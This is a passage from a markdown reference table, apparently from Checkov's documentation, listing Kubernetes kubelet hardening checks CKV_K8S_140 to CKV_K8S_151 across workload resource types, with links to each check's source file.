CKV_K8S_140              | resource                         | ReplicaSet                                                                                       | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7618 | CKV_K8S_140              | resource                         | ReplicationController                                                                            | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7619 | CKV_K8S_140              | resource                         | StatefulSet                                                                                      | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                          | Kubernetes              | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                                                |\n| 7620 | CKV_K8S_141              | resource                         | CronJob                                                                                          | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7621 | CKV_K8S_141              | resource                         | DaemonSet                                                                                        | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7622 | CKV_K8S_141              | resource                         | Deployment                                                                                       | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7623 | CKV_K8S_141              | resource                         | DeploymentConfig                                                                                 | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7624 | CKV_K8S_141              | resource                         | Job                                                                                              | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7625 | CKV_K8S_141              | resource                         | Pod                                                                                              | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7626 | CKV_K8S_141              | resource                         | PodTemplate                                                                                      | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7627 | CKV_K8S_141              | resource                         | ReplicaSet                                                                                       | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7628 | CKV_K8S_141              | resource                         | ReplicationController                                                                            | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7629 | CKV_K8S_141              | resource                         | StatefulSet                                                                                      | Ensure that the --read-only-port argument is set to 0                                                                                                                                                    | Kubernetes              | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                                                        |\n| 7630 | CKV_K8S_143              | resource                         | CronJob                                                                                          | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7631 | CKV_K8S_143              | resource                         | DaemonSet                                                                                        | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7632 | CKV_K8S_143              | resource                         | Deployment                                                                                       | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7633 | CKV_K8S_143              | resource                         | DeploymentConfig                                                                                 | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7634 | CKV_K8S_143              | resource                         | Job                                                                                              | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7635 | CKV_K8S_143              | resource                         | Pod                                                                                              | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7636 | CKV_K8S_143              | resource                         | PodTemplate                                                                                      | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7637 | CKV_K8S_143              | resource                         | ReplicaSet                                                                                       | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7638 | CKV_K8S_143              | resource                         | ReplicationController                                                                            | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7639 | CKV_K8S_143              | resource                         | StatefulSet                                                                                      | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                             | Kubernetes              | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                                                    |\n| 7640 | CKV_K8S_144              | resource                         | CronJob                                                                                          | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7641 | CKV_K8S_144              | resource                         | DaemonSet                                                                                        | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7642 | CKV_K8S_144              | resource                         | Deployment                                                                                       | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7643 | CKV_K8S_144              | resource                         | DeploymentConfig                                                                                 | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7644 | CKV_K8S_144              | resource                         | Job                                                                                              | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7645 | CKV_K8S_144              | resource                         | Pod                                                                                              | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7646 | CKV_K8S_144              | resource                         | PodTemplate                                                                                      | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7647 | CKV_K8S_144              | resource                         | ReplicaSet                                                                                       | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7648 | CKV_K8S_144              | resource                         | ReplicationController                                                                            | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7649 | CKV_K8S_144              | resource                         | StatefulSet                                                                                      | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                                        | Kubernetes              | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                                                      |\n| 7650 | CKV_K8S_145              | resource                         | CronJob                                                                                          | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7651 | CKV_K8S_145              | resource                         | DaemonSet                                                                                        | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7652 | CKV_K8S_145              | resource                         | Deployment                                                                                       | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7653 | CKV_K8S_145              | resource                         | DeploymentConfig                                                                                 | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7654 | CKV_K8S_145              | resource                         | Job                                                                                              | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7655 | CKV_K8S_145              | resource                         | Pod                                                                                              | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7656 | CKV_K8S_145              | resource                         | PodTemplate                                                                                      | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7657 | CKV_K8S_145              | resource                         | ReplicaSet                                                                                       | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7658 | CKV_K8S_145              | resource                         | ReplicationController                                                                            | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7659 | CKV_K8S_145              | resource                         | StatefulSet                                                                                      | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                                      | Kubernetes              | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                                                    |\n| 7660 | CKV_K8S_146              | resource                         | CronJob                                                                                          | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7661 | CKV_K8S_146              | resource                         | DaemonSet                                                                                        | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7662 | CKV_K8S_146              | resource                         | Deployment                                                                                       | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7663 | CKV_K8S_146              | resource                         | DeploymentConfig                                                                                 | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7664 | CKV_K8S_146              | resource                         | Job                                                                                              | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7665 | CKV_K8S_146              | resource                         | Pod                                                                                              | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7666 | CKV_K8S_146              | resource                         | PodTemplate                                                                                      | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7667 | CKV_K8S_146              | resource                         | ReplicaSet                                                                                       | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7668 | CKV_K8S_146              | resource                         | ReplicationController                                                                            | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7669 | CKV_K8S_146              | resource                         | StatefulSet                                                                                      | Ensure that the --hostname-override argument is not set                                                                                                                                                  | Kubernetes              | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                                                |\n| 7670 | CKV_K8S_147              | resource                         | CronJob                                                                                          | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7671 | CKV_K8S_147              | resource                         | DaemonSet                                                                                        | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7672 | CKV_K8S_147              | resource                         | Deployment                                                                                       | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7673 | CKV_K8S_147              | resource                         | DeploymentConfig                                                                                 | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7674 | CKV_K8S_147              | resource                         | Job                                                                                              | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7675 | CKV_K8S_147              | resource                         | Pod                                                                                              | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7676 | CKV_K8S_147              | resource                         | PodTemplate                                                                                      | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7677 | CKV_K8S_147              | resource                         | ReplicaSet                                                                                       | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7678 | CKV_K8S_147              | resource                         | ReplicationController                                                                            | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7679 | CKV_K8S_147              | resource                         | StatefulSet                                                                                      | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                                      | Kubernetes              | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                                                          |\n| 7680 | CKV_K8S_148              | resource                         | CronJob                                                                                          | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7681 | CKV_K8S_148              | resource                         | DaemonSet                                                                                        | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7682 | CKV_K8S_148              | resource                         | Deployment                                                                                       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7683 | CKV_K8S_148              | resource                         | DeploymentConfig                                                                                 | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7684 | CKV_K8S_148              | resource                         | Job                                                                                              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7685 | CKV_K8S_148              | resource                         | Pod                                                                                              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7686 | CKV_K8S_148              | resource                         | PodTemplate                                                                                      | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7687 | CKV_K8S_148              | resource                         | ReplicaSet                                                                                       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7688 | CKV_K8S_148              | resource                         | ReplicationController                                                                            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7689 | CKV_K8S_148              | resource                         | StatefulSet                                                                                      | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                              | Kubernetes              | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                                                    |\n| 7690 | CKV_K8S_149              | resource                         | CronJob                                                                                          | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7691 | CKV_K8S_149              | resource                         | DaemonSet                                                                                        | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7692 | CKV_K8S_149              | resource                         | Deployment                                                                                       | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7693 | CKV_K8S_149              | resource                         | DeploymentConfig                                                                                 | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7694 | CKV_K8S_149              | resource                         | Job                                                                                              | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7695 | CKV_K8S_149              | resource                         | Pod                                                                                              | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7696 | CKV_K8S_149              | resource                         | PodTemplate                                                                                      | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7697 | CKV_K8S_149              | resource                         | ReplicaSet                                                                                       | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7698 | CKV_K8S_149              | resource                         | ReplicationController                                                                            | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7699 | CKV_K8S_149              | resource                         | StatefulSet                                                                                      | Ensure that the --rotate-certificates argument is not set to false                                                                                                                                       | Kubernetes              | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py)                                                                              |\n| 7700 | CKV_K8S_151              | resource                         | CronJob                                                                                          | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7701 | CKV_K8S_151              | resource                         | DaemonSet                                                                                        | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7702 | CKV_K8S_151              | resource                         | Deployment                                                                                       | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7703 | CKV_K8S_151              | resource                         | DeploymentConfig                                                                                 | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7704 | CKV_K8S_151              | resource                         | Job                                                                                              | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7705 | CKV_K8S_151              | resource                         | Pod                                                                                              | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7706 | CKV_K8S_151              | resource                         | PodTemplate                                                                                      | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7707 | CKV_K8S_151              | resource                         | ReplicaSet                                                                                       | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7708 | CKV_K8S_151              | resource                         | ReplicationController                                                                            | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7709 | CKV_K8S_151              | resource                         | StatefulSet                                                                                      | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers                                                                                                                                   | Kubernetes              | 